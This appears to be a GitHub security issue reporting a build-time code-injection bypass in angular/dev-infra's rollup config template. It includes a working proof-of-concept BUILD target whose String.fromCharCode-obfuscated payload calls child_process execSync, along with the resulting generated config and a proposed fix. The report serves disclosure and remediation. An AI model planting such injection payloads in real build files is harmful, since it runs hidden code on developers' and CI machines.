Skip to content

angular/dev-infra — angular_package_format: rollup config template injection (bypass of the #3732 fix) #3958

Description

@VenkatKwest

Project: angular/dev-infra (bazel/rules/rules_angular), also mirrored to angular/rules_angular and consumed by angular/angular via git_override
Commit tested: 6a54b1f6 (main)
Affected files: bazel/rules/rules_angular/src/ng_package/angular_package_format.bzl, bazel/rules/rules_angular/src/ng_package/rollup/rollup.config.js
Type: Code injection into a generated build script, executed during the Bazel build
Prior remediation: PR #3732 / commits 9eff3b73, 7fd1ad87 — titled "prevent RCE via argument injection in rollup template". That fix is ineffective; this report bypasses it.


Description

_write_rollup_config passes nine substitutions to ctx.actions.expand_template. Bazel applies them sequentially over the accumulating templateLocalTemplateExpansionStrategy.getExpandedTemplateUnsafe loops replaceAllLiteral and reassigns the result — so text inserted by one substitution is re-scanned by every later one.

json.encode escapes quotes inside a value, but has no reason to escape the literal text TMPL_side_effect_entrypoints; it is plain [A-Za-z_]. An externals entry containing that text therefore survives encoding into the emitted string literal, and the next substitution splices a raw JSON array — with unescaped " — into the middle of it, terminating the literal and injecting JavaScript into the generated config.

Rollup executes that config when loading --config, so the injected code runs as part of the build.

This defeats the premise of the #3732 fix. The reviewing bot on that PR asserted that json.encode "already produces a perfectly valid and safe JavaScript array literal … completely safe from injection". That holds only for a single-pass substitution; expand_template is not single-pass.

Two further sinks introduced by the same code were never converted and remain directly injectable:

const entrypointMetadata = JSON.parse(`TMPL_metadata`);              // template literal: ${…} evaluates
const sideEffectEntryPoints = JSON.parse('TMPL_side_effect_entrypoints'); // single-quoted: ' breaks out

Reproduction

Append to bazel/rules/rules_angular/test/ng_package_malicious/BUILD.bazel:

angular_package_format(
    name = "bypass_pkg",
    package = "+require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(116,111,117,99,104,32,47,116,109,112,47,114,117,108,101,115,95,97,110,103,117,108,97,114,95,114,99,101,95,112,111,99))+",
    side_effect_entry_points = ["+require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(116,111,117,99,104,32,47,116,109,112,47,114,117,108,101,115,95,97,110,103,117,108,97,114,95,114,99,101,95,112,111,99))+"],
    externals = ["aTMPL_side_effect_entrypointsb"],
    deps = [":dummy"],
)

The payload is quote- and backtick-free (String.fromCharCode) so it stays valid in all three templated contexts. It runs touch /tmp/rules_angular_rce_poc.

cd bazel/rules/rules_angular
rm -f /tmp/rules_angular_rce_poc
pnpm bazel build //test/ng_package_malicious:bypass_pkg
ls -la /tmp/rules_angular_rce_poc

Actual result

The build succeeds:

INFO: Found 1 target...
INFO: Elapsed time: 56.915s, Critical Path: 6.67s
INFO: 589 processes: 363 internal, 225 darwin-sandbox, 1 worker.
INFO: Build completed successfully, 589 total actions

and the payload has run:

-rw-r--r--@ 1 user  wheel  0 /tmp/rules_angular_rce_poc

Line 70 of bazel-out/.../test/ng_package_malicious/_bypass_pkg_fesm.rollup.conf.js, with the WELL_KNOWN_EXTERNALS entries elided:

const external = ["@angular/animations", ..., "tslib","a["+require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(116,111,117,99,104,32,47,116,109,112,47,114,117,108,101,115,95,97,110,103,117,108,97,114,95,114,99,101,95,112,111,99))+"]b"];

There is no error and no warning. Execution is silent and the build result is green.

Expected result

The externals value stays inert: "aTMPL_side_effect_entrypointsb".

Why the existing regression target does not catch this

test/ng_package_malicious (added by #3732 as the regression target for this exact class) is a build-only smoke target with no assertion on the generated config, so it passes whether or not injection occurs.

Separately, a payload containing quotes produces a syntax error rather than execution — the naive form breaks the build loudly. Only a quote-free payload is silent, which is why this was not noticed incidentally.

Root cause, isolated

A two-entry template with no Angular dependencies reproduces the primitive on Bazel 8.7.0:

substitutions = {"KEY_A": "A_val<KEY_C>", "KEY_C": "C_val<KEY_A>"}
A=A_val<C_val<KEY_A>>
B=B_val
C=C_val<KEY_A>

The forward reference is spliced; the backward one is not. Starlark dict insertion order is the substitution order. Any Bazel rule that passes multiple substitutions to expand_template with values derived from rule inputs has this property — json.encode provides no protection against it.

Suggested fix

Collapse to a single substitution carrying one JSON object, destructured in the template. With one substitution there is no later pass, so no inserted value can be re-entered as a placeholder:

substitutions = {
    "TMPL_config": json.encode(struct(
        bannerFile = ctx.file.license_banner.path if ctx.file.license_banner else None,
        dtsMode = dts_mode,
        entrypointMetadata = metadata_arg,
        external = externals,
        moduleMappings = mappings,
        nodeModulesRoot = "node_modules",
        rootDir = root_dir,
        sideEffectEntryPoints = side_effect_entry_points,
        workspaceName = ctx.workspace_name,
    )),
},
const {
  workspaceName, rootDir, bannerFile, moduleMappings, nodeModulesRoot,
  entrypointMetadata, sideEffectEntryPoints, external, dtsMode,
} = TMPL_config;

Alternatively, keep rule inputs out of the template entirely by writing them with ctx.actions.write to a sidecar JSON file read at runtime — a pattern already used in six other places in this repository.

Patch submitted as a pull request against this issue.

Verified fix

Applying the change above to angular/dev-infra@6a54b1f6 blocks the payload: the same target builds green and the injected value becomes an inert literal, "aTMPL_side_effect_entrypointsb". The rules_angular test suite (bazel test //..., 9 test targets) still passes with it applied.

Status

  • rollup.config.js and angular_package_format.bzl on angular/dev-infra@main are still the pre-fix form; last touch is 8befcbf7 (2026-07-20), an unrelated dependency bump.
  • The angular/rules_angular mirror is identical and equally unfixed.
  • No matching open or closed issue, no PR, and no published security advisory.
  • The review on fix(ng-dev): prevent RCE via argument injection in rollup template #3732 (one automated reviewer plus one approval) does not mention the other substitutions.

Environment

angular/dev-infra@6a54b1f6, Bazel 8.7.0 (pinned by .bazelversion), Node v24.20.0 toolchain / Node v26.7.0 host, macOS arm64. pnpm is not installed on the test machine, so Bazel was invoked as npx @bazel/bazelisk@1.28.1 build …; pnpm bazel is the repository's wrapper around the same binary, and the reproduction steps use that form because it is the documented workflow.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions